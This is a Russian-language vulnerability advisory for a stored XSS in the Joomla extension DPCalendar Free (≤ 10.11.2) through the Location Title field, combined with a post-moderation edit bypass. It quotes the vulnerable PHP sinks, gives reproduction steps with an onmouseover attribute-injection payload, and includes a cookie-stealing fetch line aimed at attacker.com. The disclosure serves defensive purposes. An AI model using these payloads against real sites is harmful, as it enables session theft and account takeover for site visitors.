
Stored XSS через Location Title в DPCalendar Free
DPCalendar Free ≤ 10.11.2 — пользователь с ролью Author обходит проверку контента и внедряет постоянный XSS через поле Location Title, срабатывающий при наведении курсора у любого посетителя
Поле $location->title выводится без htmlspecialchars() в файле default_locations.php. Серверный InputFilter::clean() в Joomla удаляет символы и из строковых полей, но пропускает , что позволяет пользователю с ролью Author выйти за пределы HTML-атрибута. Когда любой посетитель наводит курсор на секцию информации о местоположении (Location) на странице события, внедрённый обработчик выполняет произвольный JavaScript в его браузерной сессии.
<>"onmouseoverВторой недостаток дизайна усиливает воздействие: EventController::allowEdit() проверяет только created_by == current_user — он не проверяет статус публикации события. Author может создать безобидное событие, дождаться его публикации администратором, а затем незаметно вооружить связанное местоположение, отредактировав его название после публикации, полностью обойдя проверку контента. XSS-пейлоад внедряется после модерации; администраторы никогда не видят его в процессе проверки.
| КОМПОНЕНТ | УЯЗВИМАЯ ВЕРСИЯ | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Тип: Хранимый межсайтовый скриптинг / некорректное кодирование вывода (CWE-79)
Требуемая аутентификация: роль Author — пользователь фронтенда (группа Joomla 4, минимум для создания событий)
Файл: site/tmpl/event/default_locations.php
$location->title выводится напрямую — без htmlspecialchars() — в двух контекстах вывода в default_locations.php. Контекст атрибута является эксплуатируемым стоком через веб-интерфейс, поскольку InputFilter в Joomla блокирует <>, но пропускает " без изменений.
DEFAULT_LOCATIONS.PHP — УЯЗВИМЫЕ ТОЧКИ ВЫВОДА
// Сток 1 — текстовый контент (HTML-инъекция; <> удаляется InputFilter через веб-интерфейс)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Сток 2 — HTML-атрибут (инъекция в атрибут; " проходит через InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
Значение заголовка New Location" onmouseover="alert(document.domain) сохраняется сервером без изменений. При выводе Сток 2 отображается как:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
Атрибут onmouseover становится активным обработчиком событий в отображаемом DOM.
EventController::allowEdit() предоставляет доступ к редактированию любому Author для его собственных событий независимо от статуса публикации. Злоумышленник устанавливает доверие, отправляя обычное событие на проверку администратору, а затем — после публикации администратором — незаметно редактирует связанное местоположение, чтобы внедрить XSS-пейлоад:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() БЕЗ ПРОВЕРКИ СОСТОЯНИЯ
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ Нет проверки $event->state — опубликованные события остаются доступными для редактирования Author
}
Перейдите к форме входа на фронтенде и войдите с учётной записью Author (группа Joomla 4 — минимум, необходимый для создания событий и местоположений).

Перейдите на /index.php?option=com_dpcalendar&view=form. Создайте событие с чистым заголовком и прикрепите любое существующее местоположение (например, «Greater London»). Это устанавливает легитимность Author до внедрения пейлоада.


Событие отправляется на проверку. Администратор входит в систему и публикует его из бэкенда DPCalendar. Событие теперь активно и видно всем посетителям сайта.

Как Author, перейдите на страницу опубликованного события. Кнопка Edit Event остаётся видимой — allowEdit() не проверяет статус публикации. Нажмите Edit Event, перейдите на вкладку Location и нажмите на значок карандаша, чтобы открыть locationform.

Замените название местоположения на пейлоад. InputFilter в Joomla пропускает " — пейлоад сохраняется без изменений и нарушает контекст HTML-атрибута при выводе:
ПЕЙЛОАД — ПОЛЕ ЗАГОЛОВКА (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Нажмите Save.
Когда любой пользователь — авторизованный или анонимный — посещает страницу с деталями события и наводит курсор на секцию Location information, внедрённый обработчик onmouseover срабатывает немедленно. Не требуется аутентификация, клик или дальнейшее взаимодействие — достаточно лишь посетить страницу.

Сырой пейлоад виден в секции Location на странице события — неэкранированный заголовок отображается как активный HTML-атрибут:

Наведение курсора на секцию Location вызывает диалоговое окно alert в браузере анонимного посетителя:

Угон сессии — Внедрённый обработчик может похитить cookie сессии жертвы через fetch('//attacker.com/?c='+document.cookie), предоставляя полный захват учётной записи для любой роли, просматривающей событие.
Постоянная поверхность атаки, привязанная к событию — Пейлоад сохраняется до тех пор, пока заголовок местоположения не будет исправлен вручную. Каждый пользователь, посещающий страницу события — включая анонимных посетителей — подвергается воздействию. События с высокой посещаемостью (публичные конференции, страницы бронирования) многократно увеличивают число жертв.
Обход доверия после публикации — Поскольку Author может незаметно изменить местоположение после одобрения администратором, пейлоад никогда не виден в процессе проверки контента. Безобидное событие проходит модерацию; XSS внедряется после неё.